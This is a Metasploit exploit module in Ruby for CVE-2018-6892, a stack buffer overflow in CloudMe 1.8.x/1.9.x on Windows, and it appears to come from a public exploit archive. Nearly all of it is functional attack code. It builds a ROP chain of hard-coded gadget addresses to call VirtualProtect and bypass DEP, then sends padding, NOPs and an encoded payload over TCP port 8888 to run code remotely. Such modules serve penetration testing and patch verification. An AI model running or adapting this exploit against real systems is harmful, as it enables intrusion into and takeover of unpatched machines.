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# Exploit Title: Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit)
# Date: 2018-08-13
# Exploit Author: Raymond Wellnitz
# Vendor Homepage: https://www.cloudme.com
# Version: 1.8.x/1.9.x
# Tested on: Windows 7 x64
# CVE : 2018-6892
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Cloudme v1.8.x/v1.9.x Buffer Overflow with DEP-Bypass',
'Description' => %q{
This module exploits a stack buffer overflow in Cloudme v1.8.x/v1.9.x.
},
'Author' => [ 'Raymond Wellnitz' ],
'References' =>
[
[ 'CVE', 'CVE-2018-6892' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Platform' => 'win',
'Privileged' => true,
'Payload' =>
{
'Space' => 600,
'BadChars' => "\x00"
},
'Targets' =>
[
[ 'Windows x86_32/64', { 'Ret' => 0x6cfa88a2 } ],
],
'DefaultTarget' => 0,
'DisclosureDate' => '11.02.2018'))
register_options([ Opt::RPORT(8888) ])
end
def create_rop_chain()
rop_gadgets = [
0x6cf98182, # POP EAX # RETN [icuin49.dll]
0x68c848d8, # ptr to &VirtualProtect() [IAT Qt5Core.dll]
0x61b4d226, # MOV EAX,DWORD PTR DS:[EAX] # RETN [Qt5Gui.dll]
0x668d8261, # XCHG EAX,ESI # RETN [libGLESv2.dll]
0x68a5c297, # POP EBP # RETN [Qt5Core.dll]
0x688dd45d, # & JMP ESP [Qt5Core.dll]
0x68abe868, # POP EAX # RETN [Qt5Core.dll]
0xfffffdff, # 201
0x1004b263, # NEG EAX # RETN [LIBEAY32.dll]
0x689687d2, # XCHG EAX,EBX # RETN
0x68abe868, # POP EAX # RETN [Qt5Core.dll]
0xffffffc0, # 40
0x1004b263, # NEG EAX # RETN [LIBEAY32.dll]
0x6751d479, # XCHG EAX,EDX # RETN [icuuc49.dll]
0x100010c7, # POP ECX # RETN [LIBEAY32.dll]
0x6494ea0a, # &Writable location [libwinpthread-1.dll]
0x68a49534, # POP EDI # RETN [Qt5Core.dll]
0x1008df82, # RETN (ROP NOP) [LIBEAY32.dll]
0x68ad025b, # POP EAX # RETN [Qt5Core.dll]
0x90909090, # NOPS
0x6759bdb4, # PUSHAD # RETN [icuuc49.dll]
].flatten.pack("V*")
return rop_gadgets
end
def exploit
connect
sploit = rand_text_alpha_upper(1036)
sploit << create_rop_chain()
sploit << make_nops(30)
sploit << payload.encoded
print_status("Trying target #{target.name}...")
sock.put(sploit + "\r\n\r\n")
handler
disconnect
end
end
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